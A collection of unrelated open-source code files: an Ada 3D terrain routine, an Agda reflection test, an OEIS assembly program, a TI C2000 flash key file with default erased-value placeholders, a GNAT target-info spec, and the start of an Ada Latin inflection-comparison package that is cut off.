en := elevation (e1 - 1, e2);
if Almost_zero (e - en) then
null; -- do nothing, there is no face to add
else
if e > en then -- neighbour has a lower elevation : face visible from west
ta.u := V2.u + yb * (V1.u - V2.u) + en * (yb * (V4.u - V1.u) + (1.0 - yb) * (V3.u - V2.u));
ta.v := V2.v + yb * (V1.v - V2.v) + en * (yb * (V4.v - V1.v) + (1.0 - yb) * (V3.v - V2.v));
tb.u := V2.u + ya * (V1.u - V2.u) + e * (ya * (V4.u - V1.u) + (1.0 - ya) * (V3.u - V2.u));
tb.v := V2.v + ya * (V1.v - V2.v) + e * (ya * (V4.v - V1.v) + (1.0 - ya) * (V3.v - V2.v));
Do_Face (
(xa, yb, en), (xa, ya, en), (xa, ya, e), (xa, yb, e),
(ta, (tb.u, ta.v), tb, (ta.u, tb.v)),
V_ID,
e1, e2
);
else -- neighbour has a higher elevation : face visible from east
ta.u := V1.u + ya * (V2.u - V1.u) + e * (ya * (V3.u - V2.u) + (1.0 - ya) * (V4.u - V1.u));
ta.v := V1.v + ya * (V2.v - V1.v) + e * (ya * (V3.v - V2.v) + (1.0 - ya) * (V4.v - V1.v));
tb.u := V1.u + yb * (V2.u - V1.u) + en * (yb * (V3.u - V2.u) + (1.0 - yb) * (V4.u - V1.u));
tb.v := V1.v + yb * (V2.v - V1.v) + en * (yb * (V3.v - V2.v) + (1.0 - yb) * (V4.v - V1.v));
Do_Face (
(xa, ya, e), (xa, yb, e), (xa, yb, en), (xa, ya, en),
(ta, (tb.u, ta.v), tb, (ta.u, tb.v)),
V_ID,
e1, e2
);
end if;
end if;
--
-- - > eastern and northern neighbours : treated on next step
-- as western and southern cases
end if;
end loop;
end loop;
last_point := po;
last_face := fa;
end Extrude_on_rectangle;
begin
Reset (seed);
end GLOBE_3D.Random_extrusions;
|
test/Succeed/TermSplicing.agda | googleson78/agda | 0 | 5334 | <gh_stars>0
{-# OPTIONS --universe-polymorphism #-}
open import Common.Prelude
renaming (Nat to ℕ; module Nat to ℕ)
using (zero; suc; _+_; _∸_; List; []; _∷_; Bool; true; false)
open import Common.Level
open import Common.Reflection
module TermSplicing where
module Library where
data Box {a} (A : Set a) : Set a where
box : A → Box A
record ⊤ : Set where
constructor tt
infixr 5 _×_
record _×_ (A B : Set) : Set where
constructor _,_
field
proj₁ : A
proj₂ : B
[_] : ∀ {A : Set} → A → List A
[ x ] = x ∷ []
replicate : ∀ {A : Set} → ℕ → A → List A
replicate zero x = []
replicate (suc n) x = x ∷ replicate n x
foldr : ∀ {A B : Set} → (A → B → B) → B → List A → B
foldr c n [] = n
foldr c n (x ∷ xs) = c x (foldr c n xs)
foldl : ∀ {A B : Set} → (A → B → A) → A → List B → A
foldl c n [] = n
foldl c n (x ∷ xs) = foldl c (c n x) xs
reverse : ∀ {A : Set} → List A → List A
reverse = foldl (λ rev x → x ∷ rev) []
length : ∀ {A : Set} → List A → ℕ
length = foldr (λ _ → suc) 0
data Maybe (A : Set) : Set where
nothing : Maybe A
just : A → Maybe A
mapMaybe : ∀ {A B : Set} → (A → B) → Maybe A → Maybe B
mapMaybe f (just x) = just (f x)
mapMaybe f nothing = nothing
when : ∀ {A} → Bool → Maybe A → Maybe A
when true x = x
when false _ = nothing
infix 6 _≡_
data _≡_ {a} {A : Set a} (x : A) : A -> Set where
refl : x ≡ x
_→⟨_⟩_ : ∀ (A : Set) (n : ℕ) (B : Set) → Set
A →⟨ zero ⟩ B = B
A →⟨ suc n ⟩ B = A → A →⟨ n ⟩ B
open Library
module ReflectLibrary where
lamᵛ : Term → Term
lamᵛ t = lam visible (abs "_" t)
lamʰ : Term → Term
lamʰ t = lam hidden (abs "_" t)
argᵛʳ : ∀{a} {A : Set a} → A → Arg A
argᵛʳ = arg (argInfo visible relevant)
argʰʳ : ∀{a} {A : Set a} → A → Arg A
argʰʳ = arg (argInfo hidden relevant)
app` : (Args → Term) → (hrs : List ArgInfo) → Term →⟨ length hrs ⟩ Term
app` f = go [] where
go : List (Arg Term) → (hrs : List ArgInfo) → Term →⟨ length hrs ⟩ Term
go args [] = f (reverse args)
go args (i ∷ hs) = λ t → go (arg i t ∷ args) hs
con` : QName → (hrs : List ArgInfo) → Term →⟨ length hrs ⟩ Term
con` x = app` (con x)
def` : QName → (hrs : List ArgInfo) → Term →⟨ length hrs ⟩ Term
def` x = app` (def x)
var` : ℕ → (hrs : List ArgInfo) → Term →⟨ length hrs ⟩ Term
var` x = app` (var x)
coe : ∀ {A : Set} {z : A} n → (Term →⟨ length (replicate n z) ⟩ Term) → Term →⟨ n ⟩ Term
coe zero t = t
coe (suc n) f = λ t → coe n (f t)
con`ⁿʳ : QName → (n : ℕ) → Term →⟨ n ⟩ Term
con`ⁿʳ x n = coe n (app` (con x) (replicate n (argInfo visible relevant)))
def`ⁿʳ : QName → (n : ℕ) → Term →⟨ n ⟩ Term
def`ⁿʳ x n = coe n (app` (def x) (replicate n (argInfo visible relevant)))
var`ⁿʳ : ℕ → (n : ℕ) → Term →⟨ n ⟩ Term
var`ⁿʳ x n = coe n (app` (var x) (replicate n (argInfo visible relevant)))
sort₀ : Sort
sort₀ = lit 0
sort₁ : Sort
sort₁ = lit 1
`Set₀ : Term
`Set₀ = sort sort₀
unArg : ∀ {a} {A : Set a} → Arg A → A
unArg (arg _ a) = a
`Level : Term
`Level = def (quote Level) []
ℕ→Level : ℕ → Level
ℕ→Level zero = lzero
ℕ→Level (suc n) = lsuc (ℕ→Level n)
-- Can't match on Levels anymore
-- Level→ℕ : Level → ℕ
-- Level→ℕ zero = zero
-- Level→ℕ (suc n) = suc (Level→ℕ n)
setLevel : Level → Sort
setLevel ℓ = lit 0 -- (Level→ℕ ℓ)
_==_ : QName → QName → Bool
_==_ = primQNameEquality
decodeSort : Sort → Maybe Level
decodeSort (set (con c [])) = when (quote lzero == c) (just lzero)
decodeSort (set (con c (arg (argInfo visible relevant) s ∷ [])))
= when (quote lsuc == c) (mapMaybe lsuc (decodeSort (set s)))
decodeSort (set (sort s)) = decodeSort s
decodeSort (set _) = nothing
decodeSort (lit n) = just (ℕ→Level n)
decodeSort (prop _) = nothing
decodeSort (propLit _) = nothing
decodeSort (inf _) = nothing
decodeSort unknown = nothing
_`⊔`_ : Sort → Sort → Sort
s₁ `⊔` s₂ with decodeSort s₁ | decodeSort s₂
... | just n₁ | just n₂ = setLevel (n₁ ⊔ n₂)
... | _ | _ = set (def (quote _⊔_) (argᵛʳ (sort s₁) ∷ argᵛʳ (sort s₂) ∷ []))
Π : Arg Type → Type → Type
Π t u = pi t (abs "_" u)
Πᵛʳ : Type → Type → Type
Πᵛʳ t u = Π (vArg t) u
Πʰʳ : Type → Type → Type
Πʰʳ t u = Π (hArg t) u
open ReflectLibrary
`ℕ : Term
`ℕ = def (quote ℕ) []
`ℕOk : (unquote (give `ℕ)) ≡ ℕ
`ℕOk = refl
idℕ : ℕ → ℕ
idℕ = unquote (give (lamᵛ (var 0 [])))
id : (A : Set) → A → A
id = unquote (give (lamᵛ (lamᵛ (var 0 []))))
idBox : Box ({A : Set} → A → A)
idBox = box (unquote (give (lamᵛ (var 0 []))))
-- builds a pair
_`,_ : Term → Term → Term
_`,_ = con`ⁿʳ (quote _,_) 2
`tt : Term
`tt = con (quote tt) []
tuple : List Term → Term
tuple = foldr _`,_ `tt
`refl : Term
`refl = con (quote refl) []
`zero : Term
`zero = con (quote ℕ.zero) []
`[] : Term
`[] = con (quote []) []
_`∷_ : (`x `xs : Term) → Term
_`∷_ = con`ⁿʳ (quote _∷_) 2
`abs : (`s `body : Term) → Term
`abs = con`ⁿʳ (quote abs) 2
`var : (`n `args : Term) → Term
`var = con`ⁿʳ (quote Term.var) 2
`lam : (`hiding `body : Term) → Term
`lam = con`ⁿʳ (quote lam) 2
`lit : Term → Term
`lit = con`ⁿʳ (quote Term.lit) 1
`string : Term → Term
`string = con`ⁿʳ (quote string) 1
`visible : Term
`visible = con (quote visible) []
`hidden : Term
`hidden = con (quote hidden) []
`[_`] : Term → Term
`[ x `] = x `∷ `[]
quotedTwice : Term
quotedTwice = `lam `visible (`abs (lit (string "_")) (`var `zero `[]))
unquoteTwice₂ : ℕ → ℕ
unquoteTwice₂ = unquote (give (unquote (give quotedTwice)))
unquoteTwice : ℕ → ℕ
unquoteTwice x = unquote (give (unquote (give (`var `zero `[]))))
id₂ : {A : Set} → A → A
id₂ = unquote (give (lamᵛ (var 0 [])))
id₃ : {A : Set} → A → A
id₃ x = unquote (give (var 0 []))
module Id {A : Set} (x : A) where
x′ : A
x′ = unquote (give (var 0 []))
k`ℕ : ℕ → Term
k`ℕ zero = `ℕ
k`ℕ (suc n) = unquote (give (def (quote k`ℕ) [ argᵛʳ (var 0 []) ])) -- k`ℕ n
test : id ≡ (λ A (x : A) → x)
× unquote (give `Set₀) ≡ Set
× unquote (give `ℕ) ≡ ℕ
× unquote (give (lamᵛ (var 0 []))) ≡ (λ (x : Set) → x)
× id ≡ (λ A (x : A) → x)
× unquote (give `tt) ≡ tt
× (λ {A} → Id.x′ {A}) ≡ (λ {A : Set} (x : A) → x)
× unquote (give (pi (vArg `Set₀) (abs "_" `Set₀))) ≡ (Set → Set)
× unquoteTwice ≡ (λ (x : ℕ) → x)
× unquote (give (k`ℕ 42)) ≡ ℕ
× unquote (give (lit (nat 15))) ≡ 15
× unquote (give (lit (float 3.1415))) ≡ 3.1415
× unquote (give (lit (string "foo"))) ≡ "foo"
× unquote (give (lit (char 'X'))) ≡ 'X'
× unquote (give (lit (qname (quote ℕ)))) ≡ quote ℕ
× ⊤
test = unquote (give (tuple (replicate n `refl))) where n = 15
Πⁿ : ℕ → Type → Type
Πⁿ zero t = t
Πⁿ (suc n) t = Π (argʰʳ `Set₀) (Πⁿ n t)
ƛⁿ : Hiding → ℕ → Term → Term
ƛⁿ h zero t = t
ƛⁿ h (suc n) t = lam h (abs "_" (ƛⁿ h n t))
-- projᵢ : Proj i n
-- projᵢ = proj i n
-- Projᵢ = {A₁ ... Ai ... An : Set} → A₁ → ... → Aᵢ → ... → An → Aᵢ
-- projᵢ = λ {A₁ ... Ai ... An} x₁ ... xᵢ ... xn → xᵢ
Proj : (i n : ℕ) → Term
Proj i n = Πⁿ n (go n) where
n∸1 = n ∸ 1
go : ℕ → Type
go zero = var ((n + n) ∸ i) []
go (suc m) = Π (argᵛʳ (var n∸1 [])) (go m)
proj : (i n : ℕ) → Term
proj i n = ƛⁿ visible n (var (n ∸ i) [])
projFull : (i n : ℕ) → Term
projFull i n = ƛⁿ hidden n (proj i n)
ℕ→ℕ : Set
ℕ→ℕ = unquote (give (Π (argᵛʳ `ℕ) `ℕ))
ℕ→ℕOk : ℕ→ℕ ≡ (ℕ → ℕ)
ℕ→ℕOk = refl
``∀A→A : Type
``∀A→A = Πᵛʳ `Set₀ (var 0 [])
∀A→A : Set₁
∀A→A = unquote (give ``∀A→A)
Proj₁¹ : Set₁
Proj₁¹ = unquote (give (Proj 1 1))
Proj₁² : Set₁
Proj₁² = unquote (give (Proj 1 2))
Proj₂² : Set₁
Proj₂² = unquote (give (Proj 2 2))
proj₃⁵ : unquote (give (Proj 3 5))
proj₃⁵ _ _ x _ _ = x
proj₃⁵′ : Box (unquote (give (Proj 3 5)))
proj₃⁵′ = box (unquote (give (proj 3 5)))
proj₂⁷ : unquote (give (Proj 2 7))
proj₂⁷ = unquote (give (proj 2 7))
test-proj : proj₃⁵′ ≡ box (λ _ _ x _ _ → x)
× Proj₁¹ ≡ ({A : Set} → A → A)
× Proj₁² ≡ ({A₁ A₂ : Set} → A₁ → A₂ → A₁)
× Proj₂² ≡ ({A₁ A₂ : Set} → A₁ → A₂ → A₂)
× unquote (give (Proj 3 5)) ≡ ({A₁ A₂ A₃ A₄ A₅ : Set} → A₁ → A₂ → A₃ → A₄ → A₅ → A₃)
× unquote (give (projFull 1 1)) ≡ (λ {A : Set} (x : A) → x)
× unquote (give (projFull 1 2)) ≡ (λ {A₁ A₂ : Set} (x₁ : A₁) (x₂ : A₂) → x₁)
× unquote (give (projFull 2 2)) ≡ (λ {A₁ A₂ : Set} (x₁ : A₁) (x₂ : A₂) → x₂)
× ∀A→A ≡ (∀ (A : Set) → A)
× ⊤
test-proj = unquote (give (tuple (replicate n `refl))) where n = 9
module Test where
data Squash (A : Set) : Set where
squash : unquote (give (Π (arg (argInfo visible irrelevant) (var 0 []))
(def (quote Squash) (argᵛʳ (var 1 []) ∷ []))))
data Squash (A : Set) : Set where
squash : .A → Squash A
`Squash : Term → Term
`Squash = def`ⁿʳ (quote Squash) 1
squash-type : Type
squash-type = Π (arg (argInfo visible irrelevant) (var 0 [])) (`Squash (var 1 []))
test-squash : ∀ {A} → (.A → Squash A) ≡ unquote (give squash-type)
test-squash = refl
`∀ℓ→Setℓ : Type
`∀ℓ→Setℓ = Πᵛʳ `Level (sort (set (var 0 [])))
|
programs/oeis/101/A101926.asm | karttu/loda | 0 | 244664 | <gh_stars>0
; A101926: a(n) = 2^A101925(n).
; 2,4,16,32,256,512,2048,4096,65536,131072,524288,1048576,8388608,16777216,67108864,134217728,4294967296,8589934592,34359738368,68719476736,549755813888,1099511627776,4398046511104,8796093022208
mov $2,7
mov $3,$0
add $0,8
mov $1,1
lpb $0,1
sub $0,1
div $3,2
add $2,$3
add $2,1
mov $4,$1
lpe
mul $1,2
pow $1,$2
div $1,2
add $4,2
add $1,$4
sub $1,16387
div $1,16384
mul $1,2
add $1,2
|
c2000/C2000Ware_1_00_06_00/device_support/f2806x/examples/c28/flash_programming/Example_Flash2806x_CsmKeys.asm | ramok/Themis_ForHPSDR | 0 | 88457 | ;//###########################################################################
;//
;// FILE: Example_Flash2806x_CsmKeys.asm
;//
;// TITLE: F2806x Code Security Module Keys for
;// the Flash API example
;//
;// NOTE:
;//###########################################################################
;// $TI Release: F2806x Support Library v2.04.00.00 $
;// $Release Date: Thu Oct 18 15:47:20 CDT 2018 $
;// $Copyright:
;// Copyright (C) 2009-2018 Texas Instruments Incorporated - http://www.ti.com/
;//
;// Redistribution and use in source and binary forms, with or without
;// modification, are permitted provided that the following conditions
;// are met:
;//
;// Redistributions of source code must retain the above copyright
;// notice, this list of conditions and the following disclaimer.
;//
;// Redistributions in binary form must reproduce the above copyright
;// notice, this list of conditions and the following disclaimer in the
;// documentation and/or other materials provided with the
;// distribution.
;//
;// Neither the name of Texas Instruments Incorporated nor the names of
;// its contributors may be used to endorse or promote products derived
;// from this software without specific prior written permission.
;//
;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;// $
;//###########################################################################
; Use this file to pass key values to the Example Flash program
; to unlock the Code Security module before attempting to erase,
; program or verify the part.
.global _PRG_key0
.global _PRG_key1
.global _PRG_key2
.global _PRG_key3
.global _PRG_key4
.global _PRG_key5
.global _PRG_key6
.global _PRG_key7
; For erased flash the password locations will all be 0xFFFF
.text
_PRG_key0 .word 0xFFFF ; PSWD bits 15-0
_PRG_key1 .word 0xFFFF ; PSWD bits 31-16
_PRG_key2 .word 0xFFFF ; PSWD bits 47-32
_PRG_key3 .word 0xFFFF ; PSWD bits 63-48
_PRG_key4 .word 0xFFFF ; PSWD bits 79-64
_PRG_key5 .word 0xFFFF ; PSWD bits 95-80
_PRG_key6 .word 0xFFFF ; PSWD bits 111-96
_PRG_key7 .word 0xFFFF ; PSWD bits 127-112
|
llvm-gcc-4.2-2.9/gcc/ada/get_targ.ads | vidkidz/crossbridge | 1 | 4382 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G E T _ T A R G --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2005 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package provides an Import to the C functions which provide
-- values related to types on the target system. It is only needed for
-- exp_dbug and the elaboration of ttypes.
-- NOTE: Any changes in this package must be reflected in jgettarg.ads
-- and aa_getta.ads!
-- Note that all these values return sizes of C types with corresponding
-- names. This allows GNAT to define the corresponding Ada types to have
-- the same representation. There is one exception to this: the
-- Wide_Character_Type uses twice the size of a C char, instead of the
-- size of wchar_t.
with Types; use Types;
package Get_Targ is
pragma Preelaborate;
function Get_Bits_Per_Unit return Pos;
pragma Import (C, Get_Bits_Per_Unit, "get_target_bits_per_unit");
function Get_Bits_Per_Word return Pos;
pragma Import (C, Get_Bits_Per_Word, "get_target_bits_per_word");
function Get_Char_Size return Pos; -- Standard.Character'Size
pragma Import (C, Get_Char_Size, "get_target_char_size");
function Get_Wchar_T_Size return Pos; -- Interfaces.C.wchar_t'Size
pragma Import (C, Get_Wchar_T_Size, "get_target_wchar_t_size");
function Get_Short_Size return Pos; -- Standard.Short_Integer'Size
pragma Import (C, Get_Short_Size, "get_target_short_size");
function Get_Int_Size return Pos; -- Standard.Integer'Size
pragma Import (C, Get_Int_Size, "get_target_int_size");
function Get_Long_Size return Pos; -- Standard.Long_Integer'Size
pragma Import (C, Get_Long_Size, "get_target_long_size");
function Get_Long_Long_Size return Pos; -- Standard.Long_Long_Integer'Size
pragma Import (C, Get_Long_Long_Size, "get_target_long_long_size");
function Get_Float_Size return Pos; -- Standard.Float'Size
pragma Import (C, Get_Float_Size, "get_target_float_size");
function Get_Double_Size return Pos; -- Standard.Long_Float'Size
pragma Import (C, Get_Double_Size, "get_target_double_size");
function Get_Long_Double_Size return Pos; -- Standard.Long_Long_Float'Size
pragma Import (C, Get_Long_Double_Size, "get_target_long_double_size");
function Get_Pointer_Size return Pos; -- System.Address'Size
pragma Import (C, Get_Pointer_Size, "get_target_pointer_size");
function Get_Maximum_Alignment return Pos;
pragma Import (C, Get_Maximum_Alignment, "get_target_maximum_alignment");
function Get_Float_Words_BE return Nat;
pragma Import (C, Get_Float_Words_BE, "get_float_words_be");
function Get_Words_BE return Nat;
pragma Import (C, Get_Words_BE, "get_words_be");
function Get_Bytes_BE return Nat;
pragma Import (C, Get_Bytes_BE, "get_bytes_be");
function Get_Bits_BE return Nat;
pragma Import (C, Get_Bits_BE, "get_bits_be");
function Get_Strict_Alignment return Nat;
pragma Import (C, Get_Strict_Alignment, "get_strict_alignment");
function Get_Max_Unaligned_Field return Pos;
-- Returns the maximum supported size in bits for a field that is
-- not aligned on a storage unit boundary.
function Width_From_Size (Size : Pos) return Pos;
function Digits_From_Size (Size : Pos) return Pos;
-- Calculate values for 'Width or 'Digits from 'Size
end Get_Targ;
|
inflections_package.adb | ddugovic/words | 4 | 12578 | with LATIN_FILE_NAMES; use LATIN_FILE_NAMES;
with PREFACE;
package body INFLECTIONS_PACKAGE is
use TEXT_IO;
function "<" (LEFT, RIGHT : DECN_RECORD) return BOOLEAN is
begin
if LEFT.WHICH < RIGHT.WHICH or else
(LEFT.WHICH = RIGHT.WHICH and then
LEFT.VAR < RIGHT.VAR) then
return TRUE;
else
return FALSE;
end if;
end "<";
function "<" (LEFT, RIGHT : QUALITY_RECORD) return BOOLEAN is
begin
if LEFT.POFS = RIGHT.POFS then
case LEFT.POFS is
when N =>
if LEFT.N.DECL.WHICH < RIGHT.N.DECL.WHICH or else
(LEFT.N.DECL.WHICH = RIGHT.N.DECL.WHICH and then
LEFT.N.DECL.VAR < RIGHT.N.DECL.VAR) or else
(LEFT.N.DECL.WHICH = RIGHT.N.DECL.WHICH and then
LEFT.N.DECL.VAR = RIGHT.N.DECL.VAR and then
LEFT.N.NUMBER < RIGHT.N.NUMBER) or else
(LEFT.N.DECL.WHICH = RIGHT.N.DECL.WHICH and then
LEFT.N.DECL.VAR = RIGHT.N.DECL.VAR and then
LEFT.N.NUMBER = RIGHT.N.NUMBER and then
LEFT.N.CS < RIGHT.N.CS) or else
(LEFT.N.DECL.WHICH = RIGHT.N.DECL.WHICH and then
LEFT.N.DECL.VAR = RIGHT.N.DECL.VAR and then
LEFT.N.NUMBER = RIGHT.N.NUMBER and then
LEFT.N.CS = RIGHT.N.CS and then
LEFT.N.GENDER < RIGHT.N.GENDER) then
return TRUE;
end if;
when PRON =>
if LEFT.PRON.DECL.WHICH < RIGHT.PRON.DECL.WHICH or else
(LEFT.PRON.DECL.WHICH = RIGHT.PRON.DECL.WHICH and then
LEFT.PRON.DECL.VAR < RIGHT.PRON.DECL.VAR) or else
(LEFT.PRON.DECL.WHICH = RIGHT.PRON.DECL.WHICH and then
LEFT.PRON.DECL.VAR = RIGHT.PRON.DECL.VAR and then
LEFT.PRON.NUMBER < RIGHT.PRON.NUMBER) or else
(LEFT.PRON.DECL.WHICH = RIGHT.PRON.DECL.WHICH and then
LEFT.PRON.DECL.VAR = RIGHT.PRON.DECL.VAR and then
LEFT.PRON.NUMBER = RIGHT.PRON.NUMBER and then
LEFT.PRON.CS < RIGHT.PRON.CS) or else
(LEFT.PRON.DECL.WHICH = RIGHT.PRON.DECL.WHICH and then
LEFT.PRON.DECL.VAR = RIGHT.PRON.DECL.VAR and then
LEFT.PRON.NUMBER = RIGHT.PRON.NUMBER and then
LEFT.PRON.CS = RIGHT.PRON.CS and then
LEFT.PRON.GENDER < RIGHT.PRON.GENDER) then
return TRUE;
end if;
when PACK =>
if LEFT.PACK.DECL.WHICH < RIGHT.PACK.DECL.WHICH or else
(LEFT.PACK.DECL.WHICH = RIGHT.PACK.DECL.WHICH and then
LEFT.PACK.DECL.VAR < RIGHT.PACK.DECL.VAR) or else
(LEFT.PACK.DECL.WHICH = RIGHT.PACK.DECL.WHICH and then
LEFT.PACK.DECL.VAR = RIGHT.PACK.DECL.VAR and then
LEFT.PACK.NUMBER < RIGHT.PACK.NUMBER) or else
(LEFT.PACK.DECL.WHICH = RIGHT.PACK.DECL.WHICH and then
LEFT.PACK.DECL.VAR = RIGHT.PACK.DECL.VAR and then
LEFT.PACK.NUMBER = RIGHT.PACK.NUMBER and then
LEFT.PACK.CS < RIGHT.PACK.CS) or else
(LEFT.PACK.DECL.WHICH = RIGHT.PACK.DECL.WHICH and then
LEFT.PACK.DECL.VAR = RIGHT.PACK.DECL.VAR and then
LEFT.PACK.NUMBER = RIGHT.PACK.NUMBER and then
LEFT.PACK.CS = RIGHT.PACK.CS and then
LEFT.PACK.GENDER < RIGHT.PACK.GENDER) then
return TRUE;
end if;
when ADJ =>
if LEFT.ADJ.DECL.WHICH < RIGHT.ADJ.DECL.WHICH or else
(LEFT.ADJ.DECL.WHICH = RIGHT.ADJ.DECL.WHICH and then
LEFT.ADJ.DECL.VAR < RIGHT.ADJ.DECL.VAR) or else
(LEFT.ADJ.DECL.WHICH = RIGHT.ADJ.DECL.WHICH and then
LEFT.ADJ.DECL.VAR = RIGHT.ADJ.DECL.VAR and then
LEFT.ADJ.NUMBER < RIGHT.ADJ.NUMBER) or else
(LEFT.ADJ.DECL.WHICH = RIGHT.ADJ.DECL.WHICH and then
LEFT.ADJ.DECL.VAR = RIGHT.ADJ.DECL.VAR and then
LEFT.ADJ.NUMBER = RIGHT.ADJ.NUMBER and then
LEFT.ADJ.CS < RIGHT.ADJ.CS) or else
(LEFT.ADJ.DECL.WHICH = RIGHT.ADJ.DECL.WHICH and then
LEFT.ADJ.DECL.VAR = RIGHT.ADJ.DECL.VAR and then
LEFT.ADJ.NUMBER = RIGHT.ADJ.NUMBER and then
LEFT.ADJ.CS = RIGHT.ADJ.CS and then
LEFT.ADJ.GENDER < RIGHT.ADJ.GENDER) or else
(LEFT.ADJ.DECL.WHICH = RIGHT.ADJ.DECL.WHICH and then
LEFT.ADJ.DECL.VAR = RIGHT.ADJ.DECL.VAR and then
LEFT.ADJ.NUMBER = RIGHT.ADJ.NUMBER and then
LEFT.ADJ.CS = RIGHT.ADJ.CS and then
LEFT.ADJ.GENDER = RIGHT.ADJ.GENDER and then
LEFT.ADJ.CO < RIGHT.ADJ.CO) then
return TRUE;
end if;
when ADV =>
return LEFT.ADV.CO < RIGHT.ADV.CO;
when V =>
if (LEFT.V.CON.WHICH < RIGHT.V.CON.WHICH) or else
(LEFT.V.CON.WHICH = RIGHT.V.CON.WHICH and then
LEFT.V.CON.VAR < RIGHT.V.CON.VAR) or else
(LEFT.V.CON.WHICH = RIGHT.V.CON.WHICH and then
LEFT.V.CON.VAR = RIGHT.V.CON.VAR and then
LEFT.V.NUMBER < RIGHT.V.NUMBER) or else
(LEFT.V.CON.WHICH = RIGHT.V.CON.WHICH and then
LEFT.V.CON.VAR = RIGHT.V.CON.VAR and then
LEFT.V.NUMBER = RIGHT.V.NUMBER and then
LEFT.V.TENSE_VOICE_MOOD.TENSE < RIGHT.V.TENSE_VOICE_MOOD.TENSE) or else
(LEFT.V.CON.WHICH = RIGHT.V.CON.WHICH and then
LEFT.V.CON.VAR = RIGHT.V.CON.VAR and then
LEFT.V.NUMBER = RIGHT.V.NUMBER and then
LEFT.V.TENSE_VOICE_MOOD.TENSE = RIGHT.V.TENSE_VOICE_MOOD.TENSE and then
LEFT.V.TENSE_VOICE_MOOD.VOICE < RIGHT.V.TENSE_VOICE_MOOD.VOICE) or else
(LEFT.V.CON.WHICH = RIGHT.V.CON.WHICH and then
LEFT.V.CON.VAR = RIGHT.V.CON.VAR and then
LEFT.V.NUMBER = RIGHT.V.NUMBER and then
LEFT.V.TENSE_VOICE_MOOD.TENSE = RIGHT.V.TENSE_VOICE_MOOD.TENSE and then
LEFT.V.TENSE_VOICE_MOOD.VOICE = RIGHT.V.TENSE_VOICE_MOOD.VOICE and then
LEFT.V.TENSE_VOICE_MOOD.MOOD < RIGHT.V.TENSE_VOICE_MOOD.MOOD ) or else
(LEFT.V.CON.WHICH = RIGHT.V.CON.WHICH and then
LEFT.V.CON.VAR = RIGHT.V.CON.VAR and then
LEFT.V.NUMBER = RIGHT.V.NUMBER and then
LEFT.V.TENSE_VOICE_MOOD.TENSE = RIGHT.V.TENSE_VOICE_MOOD.TENSE and then
LEFT.V.TENSE_VOICE_MOOD.VOICE = RIGHT.V.TENSE_VOICE_MOOD.VOICE and then
LEFT.V.TENSE_VOICE_MOOD.MOOD = RIGHT.V.TENSE_VOICE_MOOD.MOOD and then
LEFT.V.PERSON < RIGHT.V.PERSON) then
return TRUE;
end if;
when VPAR =>
if LEFT.VPAR.CON.WHICH < RIGHT.VPAR.CON.WHICH or else
(LEFT.VPAR.CON.WHICH = RIGHT.VPAR.CON.WHICH and then
LEFT.VPAR.CON.VAR < RIGHT.VPAR.CON.VAR) or else
(LEFT.VPAR.CON.WHICH = RIGHT.VPAR.CON.WHICH and then
LEFT.VPAR.CON.VAR = RIGHT.VPAR.CON.VAR and then
LEFT.VPAR.NUMBER < RIGHT.VPAR.NUMBER) or else
(LEFT.VPAR.CON.WHICH = RIGHT.VPAR.CON.WHICH and then
LEFT.VPAR.CON.VAR = RIGHT.VPAR.CON.VAR and then
LEFT.VPAR.NUMBER = RIGHT.VPAR.NUMBER and then
LEFT.VPAR.CS < RIGHT.VPAR.CS) or else
(LEFT.VPAR.CON.WHICH = RIGHT.VPAR.CON.WHICH and then
LEFT.VPAR.CON.VAR = RIGHT.VPAR.CON.VAR and then
LEFT.VPAR.NUMBER = RIGHT.VPAR.NUMBER and then
LEFT.VPAR.CS = RIGHT.VPAR.CS and then
LEFT.VPAR.GENDER < RIGHT.VPAR.GENDER) then
return TRUE;
end if;
when SUPINE =>
if LEFT.SUPINE.CON.WHICH < RIGHT.SUPINE.CON.WHICH or else
(LEFT.SUPINE.CON.WHICH = RIGHT.SUPINE.CON.WHICH and then
LEFT.SUPINE.CON.VAR < RIGHT.SUPINE.CON.VAR) or else
(LEFT.SUPINE.CON.WHICH = RIGHT.SUPINE.CON.WHICH and then
LEFT.SUPINE.CON.VAR = RIGHT.SUPINE.CON.VAR and then
LEFT.SUPINE.NUMBER < RIGHT.SUPINE.NUMBER) or else
(LEFT.SUPINE.CON.WHICH = RIGHT.SUPINE.CON.WHICH and then
LEFT.SUPINE.CON.VAR = RIGHT.SUPINE.CON.VAR and then
LEFT.SUPINE.NUMBER = RIGHT.SUPINE.NUMBER and then
LEFT.SUPINE.CS < RIGHT.SUPINE.CS) or else
(LEFT.SUPINE.CON.WHICH = RIGHT.SUPINE.CON.WHICH and then
